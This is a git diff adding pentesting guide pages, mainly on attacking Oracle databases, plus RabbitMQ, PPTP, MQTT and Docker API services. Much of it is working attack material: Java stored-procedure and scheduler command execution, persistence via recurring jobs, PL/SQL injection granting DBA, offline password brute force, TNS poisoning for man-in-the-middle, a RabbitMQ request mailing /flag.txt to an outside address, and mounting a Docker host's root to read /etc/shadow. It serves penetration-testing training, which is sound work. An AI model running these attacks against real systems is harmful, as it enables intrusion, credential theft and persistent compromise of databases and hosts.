+[More details here](oracle-rce-and-more.md#rce-java-store-procedure)
+
+### Execute code via Scheduler
+
+```bash
+./odat.py dbmsscheduler -s <IP> -d <SID> -U <username> -P <password> --exec "C:\windows\system32\cmd.exe /c echo 123&gt;&gt;C:\hacK"
+```
+
+[More details here](oracle-rce-and-more.md#rce-scheduler)
+
+### Execute code via External Tables
+
+```bash
+./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --exec "C:/windows/system32" "calc.exe"
+```
+
+‘ODAT.py’ requires the privilege ‘CREATE ANY DIRECTORY’, which, by default, is granted only to DBA role, since it attempts to execute the file from any and not only “your” directory \(the manual version of this attack requires less privileges\).
+
+[More details here.](oracle-rce-and-more.md#rce-external-tables)
+
+## Read/Write files
+
+```bash
+./odat.py utlfile -s <IP> -d <SID> -U <username> -P <password> --getFile "C:/test" token.txt token.txt
+./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --getFile "C:/test" "my4.txt" "my"
+```
+
+[More details here](oracle-rce-and-more.md#read-write-files)
+
+## Elevating Privileges
+
+[More details here](oracle-rce-and-more.md#elevating-privileges)
+
+You can use the [privesc ](https://github.com/quentinhardy/odat/wiki/privesc)module from odat to escalate privileges. In that link you can find **several ways to escalate privileges using odat.**
+
+```bash
+./odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD -h #Get module Help
+```
+
+Vulnerability tested on oracle 10.1.0.3.0 – should work on thru 10.1.0.5.0 and supposedly on 11g. Fixed with Oracle Critical Patch update October 2007.
+
+```bash
+msf> use auxiliary/sqli/oracle/lt_findricset_cursor
+```
+
+## Free Virtual Environment for testing
+
+If you want to practice attacking Oracle databases, the safest way is to register for the Oracle Developer Days Virtualbox VM:
+
+{% embed url="http://www.oracle.com/technetwork/database/enterprise-edition/databaseappdev-vm-161299.html" caption="" %}
+
+Most part of the information in this post was extracted from: [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573) and from [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
+
+Other interesting **references**:
+
+[http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
+
+## HackTricks Automatic Commands
+
+```text
+Protocol_Name: Oracle    #Protocol Abbreviation if there is one.
+Port_Number:  1521     #Comma separated if there is more than one.
+Protocol_Description: Oracle TNS Listener         #Protocol Abbreviation Spelled out
+
+Entry_1:
+  Name: Notes
+  Description: Notes for Oracle
+  Note: |
+    Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
+
+    #great oracle enumeration tool
+    navigate to https://github.com/quentinhardy/odat/releases/
+    download the latest
+    tar -xvf odat-linux-libc2.12-x86_64.tar.gz
+    cd odat-libc2.12-x86_64/
+    ./odat-libc2.12-x86_64 all -s 10.10.10.82
+
+    for more details check https://github.com/quentinhardy/odat/wiki
+
+    https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
+
+Entry_2:
+  Name: Nmap
+  Description: Nmap with Oracle Scripts
+  Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
+```
+
diff --git a/pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md b/pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md
new file mode 100644
index 00000000000..c5fa5203563
--- /dev/null
+++ b/pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md
@@ -0,0 +1,72 @@
+# Oracle Pentesting requirements installation
+
+## Installation of tools \(sqlplus\) and needed libraries to use the oracle MSF modules
+
+_\(This installation guide was created for version 12.1.0.1.0, change that name for the version that you download\)_
+
+As root, create the directory `/opt/oracle`. Then download the [Oracle Instant Client](http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html) packages for your version of Kali Linux. The packages you will need are:
+
+* instantclient-basic-linux-12.1.0.1.0.zip
+* instantclient-sqlplus-linux-12.1.0.1.0.zip
+* instantclient-sdk-linux-12.1.0.1.0.zip
+
+Unzip these under `/opt/oracle`, and you should now have a path called `/opt/oracle/instantclient_12_1/`. Next symlink the shared library that we need to access the library from oracle:
+
+```text
+# ln libclntsh.so.12.1 libclntsh.so
+# ls -lh libclntsh.so
+lrwxrwxrwx 1 root root 17 Jun  1 15:41 libclntsh.so -> libclntsh.so.12.1
+# ldconfig
+```
+
+You also need to configure the appropriate environment variables, add the following to either
+
+* ~/.bashrc
+* /etc/profile
+
+```text
+export PATH=$PATH:/opt/oracle/instantclient_12_1
+export SQLPATH=/opt/oracle/instantclient_12_1
+export TNS_ADMIN=/opt/oracle/instantclient_12_1
+export LD_LIBRARY_PATH=/opt/oracle/instantclient_12_1
+export ORACLE_HOME=/opt/oracle/instantclient_12_1
+```
+
+Add Oracle libraries to ldconfig:
+
+```text
+echo "/opt/oracle/instantclient_12_1/" >> /etc/ld.so.conf.d/99_oracle
+```
+
+If you have succeeded, you should be able to run `sqlplus` from a command prompt **\(you may need to log out and log back in again\)**:
+
+```text
+sqlplus <username>/<password>@<ip_address>/<SID>;
+```
+
+### **Step Two — Install Ruby Gem ruby-oci8**
+
+_These steps are needed to use metasploit oracle modules_
+
+**Install other OS dependencies:**
+
+```text
+apt-get install libgmp-dev
+```
+
+**Compile and install ruby-oci8 \(root\)**
+
+```text
+wget https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.1.8.zip
+unzip ruby-oci8-2.1.8.zip
+cd ruby-oci8-ruby-oci8-2.1.8/
+```
+
+```text
+make
+make install
+gem install ruby-oci8
+```
+
+Restart msfconsole \(or restart the computer\).
+
diff --git a/pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md b/pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md
new file mode 100644
index 00000000000..71c068624ab
--- /dev/null
+++ b/pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md
@@ -0,0 +1,220 @@
+# Oracle RCE & more
+
+## RCE: Java Store Procedure
+
+So, imagine that you have the administrator account information. In this case, a very popular way to execute your command on the server is to write a ‘java stored’ procedure. This is done in three stages. First, create a Java class called ‘oraexec’. To do this, connect via ‘sqlplus’ terminal and write:
+
+```text
+create or replace and resolve java source named "oraexec" as
+import java.lang.*;
+import java.io.*;
+  public class oraexec
+  {
+    public static void execCommand(String command) throws IOException
+    {
+      Runtime.getRuntime().exec(command);
+    }
+  }
+/
+ 
+```
+
+Next, write a PL/SQL wrapper for this class:
+
+```text
+create or replace procedure javacmd(p_command varchar2) as language java name 'oraexec.execCommand(java.lang.String)'; /
+```
+
+That’s it. Now, to execute a command, all you need is just to send the following query:
+
+```text
+exec javacmd('command');
+```
+
+Note that when using the above procedure, we cannot see the results of executed command, however, you can redirect the output to a file and read it. You can find the full code of the shell that allows to read and write files:
+
+{% file src="../../.gitbook/assets/raptor\_oraexec.sql" %}
+
+However, there is a \[more sophisticated script\] \(goo.gl/EuwPRU\) that handles the command output, but it has a larger size [here](https://oracle-base.com/articles/8i/shell-commands-from-plsql).
+
+## RCE: Scheduler
+
+The next method, which will help us if there is no Java virtual machine, is to use ‘dbmsscheduler’, the built-in task scheduler of Oracle. To use it, you must have the privilege ‘CREATE EXTERNAL JOB’. Here’s a code sample that implements the entry of ‘0wned’ string into a text file in the root of the C: drive:
+
+```text
+exec DBMS_SCHEDULER.create_program('RDS2008','EXECUTABLE','c:\ WINDOWS\system32\cmd.exe /c echo 0wned &gt;&gt; c:\rds3.txt',0,TRUE);
+exec DBMS_SCHEDULER.create_job(job_name =&gt; 'RDS2008JOB',program_name =&gt; 'RDS2008',start_date =&gt; NULL,repeat_interval =&gt; NULL,end_date =&gt; NULL,enabled =&gt; TRUE,auto_drop =&gt; TRUE); 
+```
+
+This will create and run a job for executing your command. And here’s an option for calling the Scheduler from another procedure – ‘SYS.KUPP$PROC.CREATE\_MASTER\_PROCESS’, which is of interest to us, primarily, because it allows you to embed multi-statement queries, that is, those consisting of multiple sub-queries. Theoretically, you can run such query even in case of injection into a web application.
+
+```text
+select SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_program(''xxx'',''EXECUTABLE'',''cmd.exe /c echo qqq&gt;&gt;C:/scchh'',0,TRUE); DBMS_SCHEDULER.create_job(job_name=&gt;''jobx'',program_name=&gt;''xxx'',start_date=&gt;NULL,repeat_interval=&gt;NULL,end_date=&gt;NULL,enabled=&gt;TRUE,auto_drop=&gt;TRUE);dbms_lock.sleep(1);dbms_scheduler.drop_program(program_name=&gt;''xxx'');dbms_scheduler.purge_log;') from dual
+```
+
+Note that, when you use the Scheduler, you can run this job more than once and do it with some frequency. As a result, this will help you get a foothold in the tested system, because, even if the administrator deletes the user from OS, this job, which is regularly running in the system, will bring him or her back to life.
+
+## RCE: External Tables
+
+As the last method for achieving the execution of OS commands, I would like to mention the use of External Tables. This method will help you later download files from the server. You will need the following privileges:
+
+* UTL\_FILE;
+* CREATE TABLE;
+* a directory reserved for the user.
+
+Let’s remember that the access to ‘UTL\_FILE’ package is by default provided to all accounts with ‘CONNECT’ role. Step one: Check the issued directories with the following query:
+
+```text
+SELECT TABLE_NAME FROM ALL_TAB_PRIVS WHERE TABLE_NAME IN
+(SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OBJECT_TYPE='DIRECTORY')
+and privilege='EXECUTE' ORDER BY GRANTEE;
+ 
+TABLE_NAME
+------------------------------
+ALICE_DIR
+```
+
+Step two: Create an executable batch file with desired command:
+
+```text
+declare
+ f utl_file.file_type;
+ s varchar2(200) := 'echo KOKOKO &gt;&gt; C:/pwned';
+begin
+ f := utl_file.fopen('ALICE_DIR','test.bat','W');
+ utl_file.put_line(f,s);
+ utl_file.fclose(f);
+end;
+/
+```
+
+Step three: Prepare the external table ‘EXTT’, you will need it to run the file:
+
+```text
+CREATE TABLE EXTT (line varchar2(256))
+ORGANIZATION EXTERNAL
+(TYPE oracle_loader
+  DEFAULT DIRECTORY ALICE_DIR
+  ACCESS PARAMETERS
+  ( RECORDS DELIMITED BY NEWLINE
+    FIELDS TERMINATED BY ',')
+  LOCATION (alice_dir:'test.bat'))
+/
+```
+
+Now, just call your batch file with the following command:
+
+```text
+SELECT * from EXTT;
+```
+
+The terminal will start to display error messages that the system cannot match the table and invoked file but, in this case, it is not important, as the main objective was to open the executable file, which you have achieved.
+
+‘ODAT.py’ utility also can implement this attack. However, it requires the privilege ‘CREATE ANY DIRECTORY’, which, by default, is granted only to DBA role, since it attempts to execute the file from any and not only “your” directory.
+
+## Read/Write files
+
+Now, let’s proceed to the task of reading and writing the files. If you simply need to read or write a file to the server, you can do it without any Java procedures, which, however, can also handle such tasks. Let’s have a look into ‘UTL\_FILE’ package that has the functionality required for working with the file system. The good news is that, by default, it can be accessed by all users with ‘PUBLIC’ role. The bad news is that, by default, this procedure has no access to the entire file system, but only to a directory pre-defined by the administrator. However, it is not uncommon to find a directory parameter specified as ‘\*’, which literally means “access to everything.” You can find this out by using the following command:
+
+```text
+select name, value from v$parameter where name = 'utl_file_dir';
+With appropriate rights, you can expand the access by using the following query:
+alter system set utl_file_dir='*' scope =spfile;
+```
+
+I found that the shortest procedure for using ‘UTL\_FILE’ package is proposed by Alexander Polyakov:
+
+```text
+SET SERVEROUTPUT ON
+declare
+f utl_file.file_type;
+sBuffer Varchar(8000);
+begin
+f:=UTL_FILE.FOPEN (''C:/’,'boot.ini','r');
+loop
+UTL_FILE.GET_LINE (f,sBuffer);
+DBMS_OUTPUT.PUT_LINE(sBuffer);
+end loop;
+EXCEPTION
+when no_data_found then
+UTL_FILE.FCLOSE(f);
+end;
+/
+ 
+```
+
+If you need more functionality with the ability to write, I recommend to google a script called ‘raptor\_oraexec.sql’. And according to tradition, here’s an option for using ‘ODAT’ utility, which, as always, is the shortest:
+
+```text
+./odat.py utlfile -s <IP> -d <SID> -U <username> -P <password> --getFile "C:/test" token.txt token.txt
+```
+
+‘UTL\_FILE’ package is also very interesting because if you’re lucky, you can reach the logs, configuration files and obtain passwords from privileged accounts, such as ‘SYS’.
+
+The second method that I would like to mention is to use again the ‘External Tables’. Remember that, when using ‘External Tables’, the database can access in read mode the data from external tables. For a hacker, this means yet another opportunity to download files from the server, but this method requires ‘CREATE ANY DIRECTORY’ privilege. I suggest immediately using ‘ODAT’, as it is stable and fast:
+
+```text
+./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --getFile "C:/test" "my4.txt" "my"
+```
+
+## Elevating Privileges
+
+You can use various methods to elevate privileges, ranging from classic buffer overflows and DLL patching to specialized attacks against databases, such as PL/SQL injections. The topic is very extensive and, in this article, I will not dwell on it, as this is discussed in large research papers, such as those found in the blogs of \[Lichfield\] \(goo.gl/IebQN4\) and \[Finnigan\] \(goo.gl/vXhttf\). I will just demonstrate some of them, so that you have a general idea. During the testing, I recommend simply paying attention to current privileges and, based on this, search for desired loopholes in the Internet.
+
+Unlike MS SQL, where an attacker can inject ‘xp\_cmdshell’ almost immediately after ‘SELECT’ by simply closing it with a quotation mark, Oracle DB flatly rejects such tricks. For this reason, we cannot every time resort to classical SQL injections although, in this case, too, it is possible to find a way out. We will consider PL/SQL injections, which are modifying the process of executing a procedure \(function, trigger, and other objects\) by embedding random commands into available input parameters. \(с\) Sh2kerr
+
+In order to embed the payload, find a function where the input parameters are not filtered. Remember that Oracle SQL does not allow multi-statement \(multiple\) queries, therefore, most likely, you will need to use some “special” procedures that have this feature. The main idea behind the attack is as follows: By default, unless specified otherwise, the procedure is executed on behalf of the owner and not on behalf of the user who started it. In other words, if a procedure owned by ‘SYS’ account is available for execution and you can embed your code into it, your payload will also be executed in the context of ‘SYS’ account. As I already mentioned, this is not what happens always, as there are procedures with ‘authid current\_user’ parameter, which means that this procedure will be executed with privileges of the current user. However, usually in each version, you can find some functions that are vulnerable to PL/ SQL injection. A general view of this process is shown in Fig. 2.
+
+[![inject](https://hackmag.com/wp-content/uploads/2015/04/inject.png)](https://hackmag.com/wp-content/uploads/2015/04/inject.png)
+
+In short, instead of expected legitimate argument, we pass some malicious code that becomes a part of procedure. A good example is provided by ‘CTXSYS.DRILOAD’ function. It is executed on behalf of ‘CTXSYS’ and does not filter the input parameter, which allows you to easily rise up to DBA:
+
+```text
+exec ctxsys.driload.validate_stmt('grant dba to scott');
+```
+
+However, by now, this is probably history, since the vulnerability was found in 2004, and it affects only the old versions 8–9. Usually, the process of escalating the privileges is divided into two parts: writing the procedure that increases the rights and performing the injection itself. A typical procedure is as follows:
+
+```text
+CREATE OR REPLACE FUNCTION F1
+RETURN NUMBER AUTHID CURRENT_USER
+IS
+PRAGMA AUTONOMOUS_TRANSACTION;
+BEGIN
+EXECUTE IMMEDIATE 'GRANT DBA TO TEST';
+COMMIT;RETURN(1);END;
+/
+```
+
+Now we can inject a procedure as an argument of vulnerable function \(example for versions 10x\):
+
+```text
+exec sys.kupw$WORKER.main('x','YY'' and 1=test1.f1 –-');
+```
+
+In the not too recent versions 10 and 11, there is one “nice” exception, or rather a vulnerability, that allows you to execute commands on the server without having DBA rights: ‘DBMS\_JVM\_EXP\_PERMS’ procedure allows a user with ‘CREATE SESSION’ privilege to get ‘JAVA IO’ rights. The attack can be mounted as follows:
+
+```text
+SQL&gt; DECLARE
+   POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
+   CURSOR C1 IS SELECT
+'GRANT','GREMLIN','SYS','java.io.FilePermission','&lt;FILES&gt;&gt;','execute','ENABLED' FROM DUAL;
+  BEGIN
+  OPEN C1;
+  FETCH C1 BULK COLLECT INTO POL;
+  CLOSE C1;
+  DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
+  END;
+  /
+ 
+PL/SQL procedure successfully completed.
+```
+
+Now that you have the privileges to call up Java procedures, you can evoke a response from the Windows interpreter and execute something:
+
+```text
+SQL&gt; select dbms_java.runjava(‘oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c echo 123 &gt;c:\\hack’)from dual;
+```
+
+
+
diff --git a/pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md b/pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md
new file mode 100644
index 00000000000..c33b6e3a85c
--- /dev/null
+++ b/pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md
@@ -0,0 +1,41 @@
+# Remote stealth pass brute force
+
+## Outer Perimeter: Remote stealth pass brute force
+
+**The versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3 are vulnerable** to this technique. In order to understand the idea behind this vulnerability, you need to consider how the authentication protocol works with the database. I will show it for version 11. The interaction with the server proceeds as follows:
+
+1. The client connects to the server and sends the user name.
+2. The server generates a session identifier \(‘AUTH\_SESSKEY’\) and encrypts it by using AES-192. As its key, the system uses SHA-1 hash generated from user password and salt \(‘AUTH\_VFR\_DATA’\).
+3. The server sends an encrypted session ID and salt to the client.
+4. The client generates the key by hashing its password and received salt. The client uses this key to decrypt the session data received from the server.
+5. Based on decrypted server session ID, the client generates a new public key for future use.
+
+Now, here’s the most interesting part: The session ID ‘AUTH\_SESSKEY’ sent by the server to the client has a length of 48 bytes. Of these, 40 bytes are random, and the last 8 are the duplicates of ‘0x08’. The initialization vector is 0x00 \(Null\).  
+Knowing that the last 8 bytes of the public identifier always consist of ‘0x08’, we can bruteforce this password and, moreover, do it in offline mode, which means a tremendous speed, especially if you use GPU. To mount an attack, you need to know SID, valid login \(for example, ‘SYS’ account is very interesting\) and, of course, have the ability to connect to the database. In this case, there will be no records, such as ‘Invalid Login Attempt’, created in the Oracle audit logs!
+
+Summing it all up:
+
+1. Use Wireshark to **intercept** the **initial traffic** during **authorization**. This will be helped by ‘tns’ filter.
+2. Extract **HEX values for AUTH\_SESSKEY, AUTH\_VFR\_DATA**.
+3. Insert them into ****[**PoC script**](https://www.exploit-db.com/exploits/22069), which will perform a dictionary \(brute force\) attack.
+
+### Using nmap and john
+
+```text
+root@kali:~# nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
+
+Starting Nmap 6.49BETA4 (https://nmap.org) at 2016-03-02 14:58 EST
+Nmap scan report for 10.11.21.30
+PORT     STATE SERVICE
+1521/tcp open  oracle
+| oracle-brute-stealth:
+|   Accounts
+|     SYS:$o5logon$1245C95384E15E7F0C893FCD1893D8E19078170867E892CE86DF90880E09FAD3B4832CBCFDAC1
+|     A821D2EA8E3D2209DB6*4202433F49DE9AE72AE2 - 
+|     Hashed valid or invalid credentials
+|   Statistics
+|_    Performed 241 guesses in 12 seconds, average tps: 20
+
+john hashes.txt
+```
+
diff --git a/pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md b/pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md
new file mode 100644
index 00000000000..86bcf2f8bfc
--- /dev/null
+++ b/pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md
@@ -0,0 +1,28 @@
+# TNS Poison
+
+## TNS Poison
+
+If you encounter a newer version of the listener, there is not much room left except brute-forcing. However, all versions up to version 12c are vulnerable to an attack called ‘TNS Poison’. Though the latter version is vulnerable only in some special configurations. For example, one of the ways to fix this vulnerability is by disabling the dynamic configuration of the listener, which is impossible when using Oracle DataGuard, PL/SQL Gateway in connection with APEX and in some versions of SAP. In general, the issue is that, by default, the listener service supports remote configuration and, in addition, it allows to do it anonymously. This is where the heart of vulnerability lies.
+
+[![Fig. 1. TNS Poison Vulnerability](https://hackmag.com/wp-content/uploads/2015/04/poison.png)](https://hackmag.com/wp-content/uploads/2015/04/poison.png)
+
+Fig. 1. TNS Poison Vulnerability
+
+This is a sample attack algorithm \(see Fig. 1\):
+
+* Send the following TNS query: ‘CONNECT\_DATA=\(COMMAND=SERVICE\_REGISTER\_NSGR\)\)’.
+* The vulnerable server will respond: ‘\(DESCRIPTION=\(TMP=\)\)’. This is what will be the answer from a patched server: ‘\(ERROR\_STACK=\(ERROR=1194\)\)’.
+* Generate a configuration package with SID and IP of the new listener \(for future MITM\). The number of characters in the name of the current SID is of fundamental importance. You need to know it, since this is what a Well Formed package depends on.
+* Next, send all these goodies to the listener.
+* If everything is correct, then all new connections will be forwarded by the listener through your controlled IP.
+
+It is important not to forget to enable the proxying of queries \(like IP\_forwarding in Linux\), otherwise, instead of a neat MITM attack, you will get a rough DoS, because the new clients will be unable to connect to the database. As a result, an attacker can embed their own commands within another user’s session. **You can check whether the server is vulnerable by using the following MSF module: ‘auxiliary/scanner/oracle/tnspoison\_checker’.**
+
+All this page was extracted from here: [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
+
+**Other way to test:**
+
+```text
+./odat.py tnspoison -s <IP> -p <PORT> -d <SID> --test-module
+```
+
diff --git a/pentesting/15672-pentesting-rabbitmq-management.md b/pentesting/15672-pentesting-rabbitmq-management.md
new file mode 100644
index 00000000000..c29e69466d5
--- /dev/null
+++ b/pentesting/15672-pentesting-rabbitmq-management.md
@@ -0,0 +1,44 @@
+# 15672 - Pentesting RabbitMQ Management
+
+## Basic Information
+
+You can learn more about RabbitMQ in [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).  
+In this port you may find the RabbitMQ Management web console if the [management plugin](https://www.rabbitmq.com/management.html) is enabled.  
+The main page should looks like this:
+
+![](../.gitbook/assets/image%20%288%29.png)
+
+## Enumeration
+
+The default credentials are "_**guest**_":"_**guest**_". If they aren't working you may try to [**brute-force the login**](../brute-force.md#http-post-form).
+
+To manually start this module you need to execute: 
+
+```text
+rabbitmq-plugins enable rabbitmq_management
+service rabbitmq-server restart
+```
+
+Once you have correctly authenticated you will see the admin console:
+
+![](../.gitbook/assets/image%20%2883%29.png)
+
+Also, if you have valid credentials you may find interesting the information of `http://localhost:15672/api/connections`
+
+Note also that it's possible to **publish data inside a queue** using the API of this service with a request like:
+
+```bash
+POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Type: application/json;charset=UTF-8
+Content-Length: 267
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}
+```
+
+### Shodan
+
+* `port:15672 http`
+
diff --git a/pentesting/1723-pentesting-pptp.md b/pentesting/1723-pentesting-pptp.md
new file mode 100644
index 00000000000..7daa4c6e556
--- /dev/null
+++ b/pentesting/1723-pentesting-pptp.md
@@ -0,0 +1,24 @@
+# 1723 - Pentesting PPTP
+
+## Basic Information
+
+
Commonly used to provide remote access to mobile devices, Point-to-Point Tunneling Protocol \(PPTP\) uses TCP port 1723 for key exchange and IP protocol 47 \(GRE\) to encrypt data between peers.
+
+**Default Port**:1723
+
+## Enumeration
+
+```bash
+nmap –Pn -sSV -p1723 <IP>
+```
+
+### [Brute Force](../brute-force.md#pptp)
+
+## Vulnerabilities
+
+{% embed url="https://www.schneier.com/academic/pptp/" %}
+
+{% embed url="https://github.com/moxie0/chapcrack" %}
+
+
+
diff --git a/pentesting/1883-pentesting-mqtt-mosquitto.md b/pentesting/1883-pentesting-mqtt-mosquitto.md
new file mode 100644
index 00000000000..2bfbb4d2da3
--- /dev/null
+++ b/pentesting/1883-pentesting-mqtt-mosquitto.md
@@ -0,0 +1,87 @@
+# 1883 - Pentesting MQTT \(Mosquitto\)
+
+## Basic Information
+
+MQTT stands for MQ Telemetry Transport. It is a publish/subscribe, extremely simple and lightweight messaging protocol, designed for constrained devices and low-bandwidth, high-latency or unreliable networks. The design principles are to minimise network bandwidth and device resource requirements whilst also attempting to ensure reliability and some degree of assurance of delivery. These principles also turn out to make the protocol ideal of the emerging “machine-to-machine” \(M2M\) or “Internet of Things” world of connected devices, and for mobile applications where bandwidth and battery power are at a premium.
+
+**Default port:** 1883
+
+```text
+PORT     STATE SERVICE                 REASON
+1883/tcp open  mosquitto version 1.4.8 syn-ack
+```
+
+## Pentesting MQTT
+
+**Authentication is totally optional** and even if authentication is being performed, **encryption is not used by default** \(credentials are sent in clear text\). MITM attacks can still be executed to steal passwords.
+
+To connect to a MQTT service you can use: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) and subscribe yourself to all the topics doing:
+
+```text
+> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
+> subscribe "#" 1
+> subscribe "$SYS/#"
+```
+
+You could also use [https://github.com/akamai-threat-research/mqtt-pwn](https://github.com/akamai-threat-research/mqtt-pwn)
+
+Or you could **run this code to try to connect to a MQTT service without authentication, subscribe to every topic and listen them**:
+
+```python
+#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
+import paho.mqtt.client as mqtt
+import time
+import os
+
+HOST = "127.0.0.1"
+PORT = 1883
+
+def on_connect(client, userdata, flags, rc):
+	client.subscribe('#', qos=1)
+	client.subscribe('$SYS/#')
+
+def on_message(client, userdata, message):
+	print('Topic: %s | QOS: %s  | Message: %s' % (message.topic, message.qos, message.payload))
+
+def main():
+	client = mqtt.Client()
+	client.on_connect = on_connect
+	client.on_message = on_message
+	client.connect(HOST, PORT)
+	client.loop_start()
+	#time.sleep(10)
+	#client.loop_stop()
+
+if __name__ == "__main__":
+	main()
+```
+
+## More information
+
+from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
+
+### The Publish/Subscribe Pattern <a id="b667"></a>
+
+The publish/subscribe model is composed of:
+
+* **Publisher**: publishes a message to one \(or many\) topic\(s\) in the broker.
+* **Subscriber**: subscribes to one \(or many\) topic\(s\) in the broker and receives all the messages sent from the publisher.
+* **Broker**: routes all the messages from the publishers to the subscribers.
+* **Topic**: consists of one or more levels that are separated by a a forward slash \(e.g., /smartshouse/livingroom/temperature\).
+
+![](https://miro.medium.com/max/60/1*sIxvchdgHSqAGebJjFHBAg.png?q=20)![](https://miro.medium.com/max/1073/1*sIxvchdgHSqAGebJjFHBAg.png)Figure 01: The Publish/Subscribe Model
+
+### Packet Format <a id="f15a"></a>
+
+Every MQTT packet contains a fixed header \(Figure 02\).Figure 02: Fixed Header
+
+![](https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png)
+
+The first field of the fixed header represents the type of the MQTT Packet. All packet types are listed in table 01.Table 01: MQTT Packet Types
+
+![](https://miro.medium.com/max/1469/1*z0fhdUVzGa0PLikH_cyBmQ.png)
+
+## Shodan
+
+* `port:1883 MQTT`
+
diff --git a/pentesting/2375-pentesting-docker b/pentesting/2375-pentesting-docker
new file mode 100644
index 00000000000..0c336e7e838
--- /dev/null
+++ b/pentesting/2375-pentesting-docker
@@ -0,0 +1,29 @@
+# 2375 - Pentesting Docker API 
+
+## Basic Information
+
+Remote API is running by default on 2375 port when enabled.  The service by default will not require authentication allowing an attacker to start a priviledged docker container. By using the Remote API one can attach hosts / \(root directory\) to the container and read/write files of the host\'s environment.
+
+**Default port:** 2375
+
+```text
+PORT    STATE SERVICE
+2375/tcp open  docker
+```
+
+## Enumeration
+
+```bash
+msf> use exploit/linux/http/docker_daemon_tcp
+nmap -sV --script "docker-*" -p <PORT> <IP>
+```
+
+## Exploitation
+
+Check if it's vulnerable to execute arbitrary code:
+```text
+docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
+cat /mnt/etc/shadow
+```
+
+* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
diff --git a/pentesting/2375-pentesting-docker.md b/pentesting/2375-pentesting-docker.md
new file mode 100644
index 00000000000..15968546632
--- /dev/null
+++ b/pentesting/2375-pentesting-docker.md
@@ -0,0 +1,333 @@
+# 2375, 2376 Pentesting Docker
+
+## Docker Basics
+
+### What is
+
+The Docker Platform is the industry-leading container platform for continuous, high-velocity innovation, enabling organizations to seamlessly build and share any application — from legacy to what comes next — and securely run them anywhere.
+
+### Basic docker architecture
+
+This info is from [here](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc).
+
+* [containerd](http://containerd.io/) is a container runtime which can m**anage a complete container lifecycle - from image transfer/storage to container execution**, supervision and networking. **More information about containerd below.**
+* container-shim handle headless containers, meaning once runc initializes the containers, it exits handing the containers over to the container-shim which acts as some middleman.
+* [runc](http://runc.io/) is lightweight universal run time container, which abides by the OCI specification. **runc is used by containerd for spawning and running containers according to OCI spec**. It is also the repackaging of libcontainer.
+* [grpc](http://www.grpc.io/) used for communication between containerd and docker-engine.
+* [OCI](https://www.opencontainers.org/) maintains the OCI specification for runtime and images. The current docker versions support OCI image and runtime specs.
+
+![runC, containerD](https://i.stack.imgur.com/5aXF6.png)
+
+### Basic commands
+
+```bash
+docker version #Get version of docker client, API, engine, containerd, runc, docker-init
+docker info #Get more infomarion about docker settings
+docker pull registry:5000/alpine #Download the image
+docker inspect <containerid> #Get info of the contaienr
+docker network ls #List network info
+docker exec -it <containerid> /bin/sh #Get shell inside a container
+docker commit <cotainerid> registry:5000/name-container #Update container
+docker export -o alpine.tar <containerid> #Export container as tar file
